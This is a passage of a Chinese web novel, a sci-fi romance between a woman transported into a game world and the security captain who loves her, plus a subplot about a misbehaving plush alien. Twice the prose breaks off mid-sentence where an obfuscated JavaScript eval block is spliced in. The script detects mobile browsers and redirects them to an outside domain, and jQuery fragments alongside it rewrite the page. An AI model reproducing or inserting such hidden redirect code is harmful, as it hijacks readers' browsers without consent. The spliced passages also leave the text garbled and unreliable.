李乐生就是这样,目光下移,看着那张薄而精致的唇,纤薄的唇微微张开着,色泽浅淡,含着笑,很漂亮。 而且很会亲人。 李乐生心想,下一秒脸上飞来一抹红。 女人立马捂住了自己的嘴巴,身子都向后倒,可惜被沙发抵住了,于是只能努力让自己脖颈以上的部位远离李唯一。 “我知道了,怕我亲你是吗?”李唯一没有漏掉李乐生脸上那绯红的羞色,她几乎可以肯定,再多说两句,就能逗得眼前的人全身都泛红。 但她忍住了。 “从现在开始,开诚布公地,和我聊。”她收起笑容,两只眼睛却像猎人捕获猎物身影似的,专注的盯着李乐生,“你隐瞒一下,或逃避一下,我就亲你一下。” 李乐生身体一僵,脸更红了。 紧接着她捂着嘴巴的手就被李唯一强行分开了。 “哎哎哎!你问就是了,干嘛掰我手?”李乐生慌张的抗拒,但并没什么用。 对方将她的两只手分别抓着,姿势也从盘腿坐着变成了,一腿盘踞,另一膝竖起,彻底成了主导者。 李乐生眼光上看下看,左看右看,就是不看眼前人。 “讨厌我吻你吗?”李唯一上来就问了个劲爆的。 李乐生身形一紧,不知作何回答。 她被这个问题炸的有些晃神,这一晃神不要紧,下一秒嘴巴上就多了须臾的柔软触感。 “你!” “再发呆不回答问题,我还亲你。”李唯一说道。 李乐生:“……你女流氓。” “讨厌我亲你吗?” “怎么还是这个问题啊?”李乐生大叫。 “你又没回答,当然要继续问。” “犯规!哎哎哎别亲别亲!我说我说!” 女人的动作停下,脸上闪过一丝可惜,又隐约期待对方的回答。 29. 第 29 章 这时窗外的天色已经接近傍晚,天花板上的灯光投射下来,让两个人的影子在地板上交融着。 李唯一较之李乐生更高的身形,使她的影子有一部分笼罩在李乐生的躯体上。 李乐生抿着嘴,略有些不自在的咬了咬自己的下唇,颔首,目光瑟缩的和李唯一对视。 室内安静的很,所有的家具和空气都在陪着李唯一等她回答。 “我不知道。”李乐生心中组织语言未果,给出了一个含糊又诚实的回答。 “怎么?连自己的喜恶都感受不到吗?”李唯一显然并不满意这个回答,继续追问。 李乐生偏过头,情绪低沉,语气不解,“我不知道该说什么,我从来没有谈过恋爱,甚至可以说,我对恋爱,对人与人之间的亲密关系是很悲观的。” “尽管世界都在宣扬真爱永恒,我也确实听闻许多爱情史诗,可无论有如何见闻,‘爱情’‘真爱’这种字,对我来说都很虚幻。” 李乐生原本还觉得语塞凝噎,可真的开了口,话匣子便关不上了。 她再次陷入了过往那些经历编织好的思绪中,只是这次没有沉默着发呆,嘴巴依旧在动,“你知道泡泡吗?当它飘在日光之下时,会有一层五颜六色的光彩外衣,被戳破的时候还会迸发出一道道密密麻麻的微型水汽,无论是成型还是破碎,都很漂亮。” “泡泡是很易碎很短暂的,但真爱,对我来说比泡泡还易碎。” “不仅仅是所谓的恋人,哪怕是家人朋友之间,我都觉得所谓的爱并不长久,也不会有多么真心。” 她是一个在社交方面十足没有把握的白痴。 大学宿舍的那三个舍友对她来说也确实是为数不多的好朋友,其实纵观她这二十多年的人生,真正意义上的好朋友就是她们三个。 她一度很感谢上天,让她在大学里能够遇到那三个人,四年不到的时光中她们几人给她带来的快乐实在可以用【刻骨铭心】这个词语来形容。 可是在与她们说笑过后,当时间里的喧嚣化成沉寂,她便觉得难过。 这些快乐并不能长久,她们都有属于自己的生活。她总是在这种焦虑之中享受着友谊里的幸福。 “常言道,父母之爱子,则为之计而深远。”李乐生眼睛微眯,语气中带着股难过,“我从没在我爸妈身上见到这一点……不,是有的。他们对我弟弟确实做到甚至超越了这一点吧。” 李乐生的语气中都产生了疲惫,她的上半身倾斜,直到脑袋枕在沙发上,只用着自己的肩膀抵着沙发没让自己倒在地毯上。 “在我们的文化里,家人是很重要的,家长总是为了孩子委屈自己,甚至还有一个‘吃鱼头’的故事呢。” 她却没解释那个“吃鱼头”的故事,继续道,“我始终认为,一个人,连她的父母都吝啬给予她爱意,就不能奢求其他人的爱。” 孩子与父母有着天然的联系。 但是朋友、恋人这些却是需要主动交流才能建立联系的。 她与妈妈,与爸爸明明拥有着谁都无法斩断的血缘纽带,可为什么他们给予她的尊重,给予她的爱,却那么贫瘠呢? 就连李鑫宇也是。 小时候,李鑫宇其实是跟在她身边长大的,虽然两人只差了两岁,但是从七岁开始到初中,她其实是整个家里陪李鑫宇时间最长的。 幼年会跟在她屁股后面的小豆丁,会喊着“姐姐不要丢下我”,会学着电视剧里角色的样子买花送给她祝她生日快乐,会在自己放学后的下午不回家等着初中的她下课,等她走出校门的时候,小孩会扑似的冲过来抱住他,并将一直攥在手里的棒棒糖献宝似的递给她…… 她想,她与李鑫宇是这世上最亲密的家人。 但那些终究变成了她一个人的回忆。 如今的李鑫宇,是一个会挥着拳头用暴力威胁她的人。 “从小一起长大的姐弟尚且变成仇人,在这种事实面前,去找他人组建家庭,无疑是一种找死行为。”李乐生话中的讽刺意味十足。 她的手忽然被拽了一下。 李乐生的注意力也被这个力度拽回到了李唯一的身上,治安队长仍旧温和的看着她,“你说了那么多,那你讨厌我吻你吗?” 李乐生垂眸,目光落在地毯绒毛上,“我真的说不清楚,但是很困扰。” 她没有谈过恋爱,甚至连春梦都没做过。 喜欢男人吗?确实偶尔会欣赏帅哥的脸。可是看到样貌漂亮的美女她也会欣赏。 世上人类无非就是男女两种群体,她从来都没有对两个群体中的任何一人产生过“恋爱”的感觉。 她甚至到现在都不知道,究竟什么是心动。 她也不在乎,因为在她的世界中,有太多的东西比追求爱情要重要,生存,攀爬,证明自己,自由……这些东西填满了她的生活。 而爱情,这个虚无缥缈的、从未降临在她身上的东西,早就被她抛却脑后了。 “困扰什么呢?”李唯一问她。 “嗯……”李乐生思考,“就是,觉得好像在利用你。” “似乎在利用你的感情留下来,额,好像让你亲了我就能留下来了。我不想这么做。”李乐生皱眉。 李唯一:“这就是你把手环还给我,解除婚姻关系并让我将你送走的原因吗?” “你觉得,我是那种沉溺美色的金主?” “也……也没那么美吧。”李乐生移开目光。 眼前一阵阴暗袭来,她的唇上又被轻擦过一处柔软,随即眼前的阴暗远去。 对方的动作快的令她第一时间都没反应过来发生了什么。 “你怎么又亲!”她瞪过去。 “你偏题了。”李唯一理直气壮地回答。 随后对方手上用力,将李乐生直接拽进了自己的怀里。 李乐生轻呼一声,两个人直接倒在地毯上,她趴在李唯一的身上,脸颊与衣服面料轻触,耳朵正好在对方心脏的位置。 李唯一的手揽着她的后背和后腰,让她没有办法起身。 “你干嘛?”若是之前,这个姿势她只会觉得尴尬。 而现在,她更多的是害羞。 “对不起,李乐生。”李唯一却向她道歉。 对方的声音有一半是通过空气传来的,有一半像是通过血肉骨头传来的,与平日相比,多了分空旷。 李唯一的手臂微微收紧,一只手上移,随后开始抚摸她的头发,像是长辈在安抚小孩似的,动作轻柔缓慢,让李乐生产生不了任何抗拒。 “你道什么歉?”李乐生的声音闷闷的。 “我不知道,你在自己的世界中受了那么多委屈。” “在我的视角中,接触到的你是一个活泼、灿烂且生动的人,我从你身上感受到的最多的感情就是【爱】。” “你爱我,所以给了我这样出众的外貌,培养了我一身强大的数值,并且让我爱上了你。” “你搞清楚,我当时爱的是游戏里的自己。”李乐生连忙反驳,但是语气并不激烈。 她只是对李唯一这种直白的面向她的爱,实在做不到勇敢的去接受。 李唯一轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983467|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了两下,道,“那如果当时的你发现,【李唯一】也产生了自我意识,你是不是就不爱【李唯一】了?” “……” 沉默。 李唯一也没有再故技重施,就抱着对方,两个人躺在地毯上,陪着时间一起流逝。 “那倒也不是。”终于,怀里的人说话了。 “还是会爱的,说不定……” 说不定也不会那么果断地退游。 如果当时的她知道,游戏里的李唯一是个活生生的人,她应该会对这个角色负责。 是她开启了李唯一的人生,自然也该对李唯一的人生负责。 “那你现在能爱我吗?”李唯一忽然问。 李乐生:“我不知道,我脑子有点糊涂。” 她的脑子只有在学习的时候最清醒,最有用,在为人处世上,实在很白痴。 “没关系,现在不爱就不爱吧。”李唯一回答。 “本来就是我的错。”她接着说,“我从声音中了解到的你,只是一部分,整体的你我是不了解的。你消失的那段时间,对我来说很难熬,所以当你来到我的世界后,我真的很开心。” “其实我一直都在想,先让你熟悉这个世界,陪着你,让你也能更加深刻的认识我,到那时候,告诉你我对你的感情。” “只是今天的事情太超出控制了,脑死亡是十分严重的事,不管多么强大的科技至今还做不到将一个神经元死亡的大脑救回来。如果今天你就那样死了,我会很痛苦的。” “你醒来后,我甚至更恐惧,没有告诉过你我爱你,没有吻过你,没有问你爱不爱我……却差点失去了你。而你,在我那么害怕的时候,又后悔来到我的世界……” 李乐生正听着感动呢,听到这句话立马打断,“你怎么越说越不对劲了?” “我哪里说过后悔来了?之前还说我不愿见到你。”李乐生觉得李唯一这人思维也挺发散的,明明她的原话是【没有穿越就好了】,结果这人愣是解读成啥了? “我承认,有那么一丢丢后悔,但不是因为不想见你啊。”她抬起脑袋,下巴垫在自己的手背上,看着李唯一,气呼呼的说道,“当时我就只是睡了一觉,醒来后被告知我差点死了。我身体一点不适都没有,真的害怕不起来。” “可是你又一直在哭,哭的又伤心又自责。我就觉得,我真的很打扰你的生活……” “才不打扰呢。”李唯一听着李乐生的解释,笑道,“你是恩赐。” 好肉麻。李乐生转头,不敢看李唯一那双灼热的眼睛。 身下的人又说。 “我当时是真的不理智,所以自作主张吻了你,而你又没有拒绝我,我得了甜,于是理智断了,只想吻你。”这话说的李乐生脸红,恨不得把她的嘴给堵上,可是她又想听李唯一继续说下去。 “亲吻喜欢的人真的是一种很奇妙的感觉,会让人上瘾,让人贪婪,还让人心急。我被这种感觉主导着,迫切的希望你能接受我的爱,并成为我真正的爱人。” “对不起,在这一点上,我强迫了你。”李唯一叹了口气,“我是个自私的人。” 就像现在,她明明在道歉,却依旧不愿意放手。 当情感宣泄于口,她竟做不到之前那样的克制与伪装。 “不爱我也没关系,求你了,继续待在我身边。”她恳求道。 “至少尝试一下,尝试着爱上我,可以吗?” 李乐生听的心脏砰砰直跳,似乎要撞破自己的胸口似的。 好像……也许,真的可以试试呢?她想。 30. 第 30 章 纳德这两天要被蓬蓬整崩溃了。 【异常者安定区】的常驻治安官的轮换人选里其实并没有他。 但他实在是很喜欢毛绒绒的东西,闲暇时分他最喜欢做的事就是去基地外的公园或宠物馆里看那些猫猫狗狗等小动物,比如摸摸别人养的小狗小猫,小兔也可以。 那种细密的绒毛和又软又柔的触感实在是让人欲罢不能。 但他个人又不愿意养宠物,因为他不喜欢处理宠物的吃喝拉撒行为。 甚至有时候,他会花大量的钱请别人带着自己的宠物来家中一趟,等他摸够之后再让对方带回家。 他家里摆弄了一堆毛绒玩偶,算是解“燃眉之急”。 但偶尔的深更半夜,纳德躺在床上,抱着玩偶抚摸的时候,会遗憾的想,要是玩偶也能像小猫小狗那样会动会调皮捣蛋就好了。 那些被植入了智能系统的玩偶倒是会动,但是身体内的冰冷机械实在令他爱不起来,虽然的确是陪伴玩偶的畅销品,但纳德并不喜欢这种千篇一律的被人为设定好的程序玩偶。 直到一年前,【莱恩星人】触发了异常波动,出现在了【诺城】中央广场的西北方。 当A组小队四人与C组二队四人齐心协力将【莱恩星人】们统一回收,送往【异常者安定区】后,纳德便知道,他日思夜想的梦中情偶,正是这批懵懂、单纯又笨拙的【莱恩星人】。 甚至连诺城上下,整体都称TA们为【布偶人】,这就足以说明问题了。 而其中,自主能动意识最强的【蓬蓬】,既是整个【布偶人】中最特殊最生动的领导者,同时也是纳德最喜欢的【布偶人】。 其他的布偶人,或多或少都有些“懒惰”,TA们大多数并不活跃,彼此之间可能会交流或者玩耍,但面对着【厄斯星人】,互动这方面其实并不多。 TA们的意识交流对族群以外的人都是很回避的。 只有蓬蓬,TA就像是布偶人中的交际花,和哪个物种都能“唠”两句。 当然了,这里的“唠”并不代表TA真的会说话,但是TA会用自己的圆柱形状的四肢,还有那个又大又蓬的脑袋,做出各种动作,和别人唠嗑。 效果不说显著,但也绝对有用。 就像纳德,在多次和蓬蓬进行了这种鸡同鸭讲的交流后,他已经掌握了蓬蓬的身体语言了。 主要是蓬蓬的语言结构也没那么复杂,TA的动作所传递的信息基本都可以用【是什么?】【为什么?】【开心】【伤心】【不要】【要】【打招呼】【再见】这几个选项去推测。 然而这几天,蓬蓬的行为让纳德实在摸不着头脑,而且到了折磨的地步。 今天是纳德第六天来【异常者安定区】了,自从六天前,【安定区】那边传来消息说蓬蓬出现了行为异常的现象后,纳德就坐不住了。 他每天白天训练结束后都要去【安定区】找蓬蓬,想看看到底是怎么回事? 本来大家都以为是李唯一把蓬蓬吓到了。 因为那天李乐生出事,她们队长怀疑是有【异常】故意伤害,于是来【安定区】逮着所有当天下午有过接触的【异常生物】严格核实了一番。 具体怎么核实的,那方法就多了,总之蓬蓬没受多大的伤害,倒是有个吸血鬼被揍了一顿。 好在李乐生那病是虚惊一场,但蓬蓬这边已经持续快一周了。 而且检测报告里并没有【恐惧】的情绪,这说明和李唯一的那次核查没多大关系。 其实蓬蓬的行为异常倒不算什么大事,TA的躯体其实就是棉花和布匹组成的玩偶。 再怎么发狂,都造不成什么伤害。 就是那天晚上一直都安静不下来,TA围着整个【异常者安定区】跑,东南西北疯狂的跑,一刻不停的敲门,敲各个异常生物的门,那些隔离区的玻璃墙也被TA敲了个遍。 一直在扰民。 TA很聪明,知道自己的棉花手敲东西没有什么声音,就两只手攥着根树枝在那些玻璃墙上“bang!bang!bang!”的敲,敲得好些隔离区里的异常生物苦不堪言,纷纷通过呼叫器投诉、请求来呼唤治安官们处理一下。 等到治安官来了,TA才变乖,好似那个扰民的罪魁祸首不是TA。 但接下来TA就会扯着治安官,一直往大门的方向走,似乎是要出去。 治安官们当然不可能让TA出去,刚开始都直接打包送TA回自己的玻璃房休息。 被送回后TA默不作声,乖巧的站在房子里等治安官们离开,结果半个多小时后,“bang!bang!bang!”的敲玻璃声再次响起。 又一波投诉来袭。 反复做之,治安关门忍无可忍,将TA带回玻璃房后,又给玻璃房上了锁。 结果没想到,蓬蓬连接了还在外面待着的【布偶人】,前文已说过,【布偶人】之间共用着一套DNA,蓬蓬似乎是其中【进化】的一个特例,TA可以利用与其他【粉熊布偶人】之间的这套DNA下达指令,让TA们做事。 于是那天晚上,比前几波更夸张的、更扰民的“bangbangbang!bnagbnagbang!bangbangbnagbnagbnag……”的声音犹如此起彼伏的浪花,这边未落那边已响,这下不仅仅是【隔离区】里的那些生物了,连治安官们,还有一些单独居住没有被隔离的外星种族们,都经历了短暂但折磨的噪音攻击。 起床气颇大的治安官们强忍怒气将一个个【粉熊布偶人】抓回去后,还要和同伴们去安抚部分被激怒或是被干扰的异常生物们。 尤其是有些接受不了高分贝声音的易怒生物们,TA们在隔离区已经互相打起来了。 当天晚上,治安部的医疗院就派了一批人去协助【安定区】的常驻治安官们好好查查到底怎么回事? 奈何,没查出个所以然来。 第二天早上,纳德训练完后就直接跃迁转移到了【安定区】门口,进去找蓬蓬了。 【粉熊布偶人】一见到这个经常和TA玩的人,开心的不亦乐乎,缠着纳德玩了一整天,直到天黑。 负责重点关注的几人以为蓬蓬昨天就是好奇驱使,毕竟TA确实像个小孩,TA是有好奇心的。 等到夜晚,众人入睡后两个小时,其实还有治安官在观察蓬蓬,发现TA确实没动作后,才安然的离开了。 “bang!bang!bang!” 木棍敲打隔离墙的声音再次出现。 几个治安官再次出现,没收了TA的小木棍,对TA进行了严厉的批评。 被批评的时候,蓬蓬又会乖乖的认错,做出双手互碰,脑袋点三下的动作(这是TA认错的方式)。 随后就围着治安官们转圈圈,这是TA邀请别人一起玩或留下的意思。 他们以为蓬蓬是想要他们陪着TA玩。 但真的和蓬蓬玩的时候,这个粉熊布偶人又发脾气了。 一直用自己的脑袋撞他们。 直到他们的老师赶来,并提出了自己的猜测,“我在想,TA的目的只是吸引我们过来,对我们有诉求,但绝不是和TA玩。” 三个刚刚被分配到【异常者安定区】的新治安官觉得有点道理,但和蓬蓬相处没多久,对于【安定区】档案室里的种族语言他们也没有完全熟读,实在解读不出来蓬蓬的肢体语言。 纳德正是在这种情况下,主动过来帮忙的。 毕竟所有人都知道,他和蓬蓬关系很好。 “今天依旧没进展吗?”朱莉·乔娜走进玻璃房,正好看到纳德蹲在蓬蓬面前一筹莫展的低沉样儿。 蓬蓬还抬着自己的一只腿,不停的踹着纳德的背。 倒没什么杀伤力,毕竟是玩偶。 而且TA每踹一下,都站不稳似的身子摇晃一下,实在滑稽。 纳德转过头,生无可恋的叹气,“它现在生气的已经六亲不认了。” 蓬蓬的生气等级分为三种: 用头撞人——微微生气,代表不满或不开心。 双手锤人——很生气,一般用来表示讨厌。 抬腿踹人——非常非常生气,类比起他们,就是肺都要气炸了的程度。 纳德是蓬蓬很喜欢的治安官,基本上蓬蓬不对纳德生气的,就算是脑袋撞纳德,也一般表示的是撒娇和不开心。 为此,纳德一直都很骄傲。 而今天,TA的骄傲被粉碎了。 “好伤心,伤心的恨不得死掉。”纳德索性趴在了地上,面无表情,语气里是满满的心痛。 他抬头看向蓬蓬,布偶人抬脚踩在了他的脸上。 “唔!” “呸呸呸!”虽然不疼,但是喂了他一嘴的土。 “你再这样无理取闹,我真的要教训你了!蓬蓬!”纳德厉声道,可惜没多少气势。 他舍不得对此等毛绒绒的萌物下重话。 不过他的表情很严肃,蓬蓬还是停下了。 又指了指外面。意思是要出去。 手再次碰了一下纳德的衣服。 “TA又要做什么?”朱莉·乔娜问。 那天晚上之后,她那三个新人徒弟已经被她派去档案室好好学习异常生物的语言了,而她则负责从纳德身上获取信息。 “想让我和TA出去,老拖着我往【安定区】里面跑,到了中部三川路的扭蛋机那儿又停下来了。”纳德闭上眼睛,他已经筋疲力尽了。 精神上的。 “关键我给TA扭蛋,TA又不要。” “一直在那里和我握手,我真握手了,TA又生气。”纳德像个正在向他人抱怨自己育儿辛苦的怨夫似的。 “确实让人摸不着头脑。”朱莉·乔娜对此更为头疼。 其实这几天,她每天都会命手下将所有的布偶人在天黑前带回玻璃房,将门锁上。 自然也能杜绝蓬蓬扰民的现象。 但是这治标不治本,如果不能从根源上解决蓬蓬的这个异常行为,那以后如果出现别的怎么办? 或者说,以后其他的异常生物也有所变化了呢? 总不能每次都可以用这种治标不治本的方法吧? “【诺城】建立【安定区】一直被联邦政府找茬。如果再次出现不可控的行为异常,甚至威胁到居民安全的话,联邦那边很有可能会下达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998530|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【绝对命令】的,纳德……”朱莉·安娜后面的话没有说完。 但是纳德也明白她的意思。 “可惜队长被关禁闭了,她的精神力很强,能够敏锐的感知到我注意不到的地方。”纳德爬起来,拍拍自己的身上的灰尘,长呼一口气,“我会尽力的,朱莉姐姐。” “拜托了。”朱莉·安娜笑道,随后说了再见,离开了此处。 她还需要回去提交报告,毕竟这件事又被联邦那边知晓了。 她得想想,用怎样的措辞,可以将这件事的一筹莫展的进度写的让那些人少挑点问题呢? 自那天晚上,李乐生默认答应了李唯一的请求后,两个人就没见过面了。 第二天醒来时,她在客厅的桌子上看到了李唯一留下的字。 写在她平时写写画画的那个本子上—— 【早上好,乐生。】 【工作出了点问题,我要离开几天,自己记得好好生活,不要担心。】 【今天的早饭已经备好了。】 自那天以后,她就真的没见过李唯一了。 刚开始还松了口气来着,心想虽然她也决定和李唯一好好相处,看看能不能成为真正的恋人。但到底没有什么经验,真的很拘谨。 结果连续好几天,李唯一连个消息都不发,手环还处于关机状态,她甚至查不到对方的坐标。 李乐生心中逐渐多了些不可言喻的情绪。 到底是什么任务啊?怎么还要这么保密? 处理异常吗?可是林和冬她们都没去啊。 说起来,林这几天也总会避开她,有一次在餐厅吃饭,看到她进来后立马就端着饭跑了。 李乐生当时看到后也只当作没看到,心里有点伤心,但也不敢去问。 其实她和李唯一的手下也确实不怎么熟,平日里都是因为有李唯一在,所以好像和几人聊天都不会有隔阂。 李唯一消失的这几天,大家似乎都变成了萍水相逢的陌生人。 林避着她,纳德也很忙,冬不知道去哪了,偶尔倒是会通过手环给她发点消息,分享的美食之类的。 她询问过冬,知不知道李唯一去做什么工作了? 冬说她也不清楚。 之后就没再问过了。 李乐生独自一人待在A组的办公室里,她坐在李唯一的位子上,趴着。 手指百无聊赖的在桌面触屏上划来划去,看着光标的小尾巴跟着她划动的方向一起跑。 “都六天了,怎么还不回来?”李乐生嘟囔着。 李唯一就是她与这个世界交流的一条线,没有李唯一在,她寸步难行。 其实治安基地里的人都很好,可是她社交很慢热,不会找什么话题,更何况这个世界的很多东西她还在认识中呢,就更难和别人交流了。 “至少报个平安嘛……”李乐生弱弱的抱怨。 要不是她知道李唯一很强,现在她早担心死了。 毕竟这种长期失联的秘密性任务,简直就是敢死特工队才会干的。 正在此时,门忽然被打开。 是纳德进来了。 “乐生小姐,怎么在这儿?”纳德有些惊讶。 “中午好,纳德。”李乐生和他打招呼,语气不怎么阳光。 “你吃饭了吗?”纳德走进来。 李乐生摇头,“忘了,不是很饿…我这就去吃饭。” “不打扰你工作了。”女人从椅子上离开,挥挥手,带着一身的阴霾往办公室外走去。 纳德的声音又在背后响起,“你是在想念队长吗?” 睹物思人。他心中出现了这么一个词。 李乐生这时候已经没有脸红害羞的心思了,她确实很想念李唯一,“感觉好久都没见到她了。” 一日不见如隔三秋这句话,她现在是真体验到了。 晚上睡觉前也是孤零零的,想说自己今天看了那些书,有那些不懂的,结果话都堵在喉咙里,没地方说。 怎么以前上班的时候没这么觉得呢? “其实也不一定要见到她,至少有个消息也好。”李乐生像是在说给纳德,又像是自言自语。 “……我带你去见队长吧?”纳德说。 “能见的话当然——” “啊?”李乐生忽然反应过来对方说了什么,震惊的转头,“你知道她在做什么?” 纳德点头。 “可是,不是保密的吗?冬说她也不知道来着。”李乐生疑惑道。 纳德摇摇头否认,“是队长要我们对你保密,但是你看起来很失落,所以我想……” 他想起刚刚和蓬蓬在一起时,被蓬蓬一脚踹碎了骄傲的那一刻,失望又伤心。 尽管与李乐生的情况并不相同,但是,伤心的人总是大同小异。 “我将报告整理一下,你可以先去吃饭,到时候我带你去见队长。”纳德抬起头,将自己的心酸压下去。 李乐生开心的压根都不想吃饭。 “没事没事,我等你忙完工作,我还不饿。”她关上门,坐在沙发上,满心期待的等着纳德在自己的办公桌上整理报告。 “也行。”纳德点头。 31. 第 31 章 治安基地办公大厅三楼。 空荡荡的走廊之中,除了来往的各类机器人以外,几乎看不到一个活人。 连绿植或室内装饰都没有。 这个地方,从天花板到墙壁,再到脚下踩的的地砖,都是白色的。 “哒。哒。哒……” 李乐生跟在纳德身后,二人的脚步声在这个空间中响起时,都让她产生了一种在亵渎和侵犯此地的不适感。 这儿干净明亮的实在不正常。 没有窗户,没有气流,入目的白看似界限分明,又融成了一体。 好像在走动的过程中都感受不到空气似的,让李乐生觉得胸闷,喘气都不自然。 她垂下脑袋,决定只盯着那明亮反光的地砖走,至少在这儿能看到她的影子,会让她有一种真实感。 也会好受点。 “不好意思,乐生小姐。”前面的纳德没有回头,但也能感知到李乐生的呼吸节奏出了问题。 “三楼是专门关押违纪或犯了重大过错的治安官们的,在布局和设计上可能会有些压抑。如果你觉得不太舒服的话,我替你传达问候吧。”纳德微微偏头,余光中瞥到了李乐生身影。 “没事的,不麻烦你了。”李乐生连忙摆手,微笑回绝。 纳德也不强求,收回眼神,但是默默的释放了精神力包裹住了李乐生的身体。 异能者的精神力除了压迫威胁之外,也有安抚和保护的用处。 就看他们怎么用了。 正觉得视觉疲劳的有些发晕的李乐生再次眨了下眼,忽然觉得目光所见之处没那么不舒适了,像是被人安装了一双全新未拆封的新眼睛了一样,简直如梦初醒。 她搞不清自己为何忽然这般神清气爽,但只要不头晕比什么都好。 毕竟人体本来就是个很奇妙的构造。 说不定是她的大脑适应了这种环境呢。 又约莫拐了两个弯,李乐生发现她和纳德所经过的这些走廊两边墙壁真的是光秃秃的,什么都没有,门也没有,光滑的墙壁一直延申,简直像是一层白色的迷宫。 不过迷宫里还有标识呢,这层连个标识都没有,就是白。 望到头或回望到尾,都是一样的白色长廊,若是不小心在这里摔倒,再爬起来的时候,人怕是都要恍惚一阵,猜疑好久都不一定分得清自己原本要去的方向。 纳德倒是走的步伐坚定,没有半分犹豫。 李乐生心想,不愧是治安官啊,比她这种普通人强太多了,这种转个圈就分不清前后的地方,人家目不转睛走起来跟回了自己家一样熟练。 等等! 和家里一样熟练? 李乐生脑子里灵光一现,俗话说熟能生巧,难道说…… 她盯着纳德的后背,双眼里满是探究、钻研。 后背的目光实在是过于强烈了,走在前面的纳德略微头疼的皱了皱眉,他倒是没生气,就是有点无奈。 本来异能者对于他人眼神的感知就很敏锐,而且他的精神力还包裹着李乐生,这种敏锐就更上一层楼了。 他觉得自己的后脑勺都要被李乐生的眼睛烧穿了。 队长还没有教乐生小姐关于她们这些治安官的知识吗? 虽然【诺城】的治安官们对待普通人都很温和,但其他地区的治安官们可不一定,哪天乐生小姐要是因为这种直白的眼神冒犯到某个外城的治安官,而队长恰巧不在身边的话,可就糟了。 纳德心想,他总爱多操点心,虽然操的都是些闲心。 “到了。”再次拐了一个弯,纳德停下了脚步。 李乐生跟着站住,随后又探出脑袋,看到不远处的尽头,一间牢房里,李唯一正坐在一张椅子上,她的面前有一张桌子,她翘着二郎腿,靠在椅子靠背上,脑袋后仰闭着双眼,一只手正放在身前的桌子上,有一下没一下的用食指瞧着桌子。 “怎么连牢房里的东西都是白色的啊?”李乐生终于忍不住问道。 甚至连李唯一身上穿的衣服都是白色的,她之前的制服好歹还有些黑色和金色进行点缀相衬呢。 这但凡来个带点散光的近视眼站在这十几米远的地方,没戴眼镜压根就看不到李唯一这个人。 “当人处于纯白色的空间时,会因为缺乏视觉刺激,从而使大脑产生“感官剥夺”的效应,引发焦虑或恐慌的情绪,甚至会产生虚无主义,这是针对治安官采取的精神刑罚。”纳德耐心的解释。 李乐生觉得有点变态。 还没等她开口,栏杆内的李唯一就动了。 女人后仰着的脖子转过来,睁开了双眼。 看到纳德和李乐生的时候,依旧没有动弹。 等到两个人走进了,李唯一的眸子才眯了起来,随后她将自己这没个正形的坐姿调整了一下,身子离开了靠背,一直垂在腰侧的那只手拿出来,闭着眼睛揉了好几下眉心与鼻子连接的那处软肉。 李乐生从对方这沉默的动作中看到了一丝疲倦。 “你们怎么来了?”李唯一说完这句话,放下手,睁开眼睛,转过头来。 真的很疲惫。 她的脸色也很差。 李乐生注意到,对方的手环都没有戴在手腕上。 那双一向流淌着温和与包容的眸子在此刻像是两颗蒙尘无光的琥珀石,死寂一般,几乎没什么情绪。 “不好意思,乐生,我有点累,不是故意的。”李唯一似乎是注意到了她此刻的态度有些“冷漠”,可能会伤害到李乐生,又连忙道歉。 语气倒是很温和,其中的歉意似缕缕微风绕来,令听者倒产生了股疼惜。 纳德:“队长,好歹我也和您共事快两年了吧?” 李乐生张了张嘴,想开口安慰,可是话语却哽在心头,说不出来。 在来的时候,纳德就告诉了她实情,李唯一是为了她违规的,所以被关禁闭了。 禁闭室本身就是一种精神刑罚的场所,但她没想到,李乐生待的地方比她认知里的可要恐怖多了。 极致的白,极致的干净,以及极致的安静。 当真是一根针掉在地上都能清晰地听到的程度。 如果只有自己一个人处于这种环境,说真的,只要几个小时都会发疯的,至少她肯定会。 而李唯一待了六天…… 还是因为她。 “别说这些闲话了,探视时间是有限的。”李唯一懒得理纳德的抱怨,她挪着自己的身体,转了过来,这下姿势变成了腰侧靠在椅背上,右手手臂也耷拉在上面。 “因为什么事找我?”她问。 正事要紧,纳德见李唯一并没有急着和李乐生寒暄,也赶紧说出了此行的目的。 禁闭室的栏杆倒是没有安装什么电流惩罚系统,他将手中的纸质报告递给李唯一,又道,“蓬蓬这几天一直有行为异常的现象,我解读它的语言也没有搞清楚是为什么,所以想让队长你看看,是不是有我遗漏的细节。” 李唯一接过后便翻看起来,六天以来,第一次接触除了白色以外的颜色,密密麻麻的一行行报告文字竟然让李唯一的眼前有两三秒的混乱。 她的眼睛里所看到的文字几乎全都是黑色的蠕动的小虫,还在不断的放大,拥挤的像是要爬进她的眼中。 然而李唯一依旧面不改色,只是平静的调整着自己的晶状体,让这些视觉幻象消失。 “你和它那么要好,还要找我这个经常冷暴力它的人帮忙?”李唯一看着报告里的各种详细记录,嘴上还没忘记挖苦。 纳德眨了眨眼睛,没有说话。 李唯一压根就没指望他回答。 报告里的情况很详细,蓬蓬发作的时间和地点,以及它围着治安官们的各种动作全都记录在案,旁边还有纳德解读的语言注解。 连体重身高都记录了。虽然这两者压根没变化。 “它想出去?”李唯一注意到报告里,蓬蓬有好几次都拉着治安官往【安定区】大门的方向跑或者指。 “嗯,但都是前几次的行动,大家不让它出去后,它就没有这个意愿了。”纳德回答。 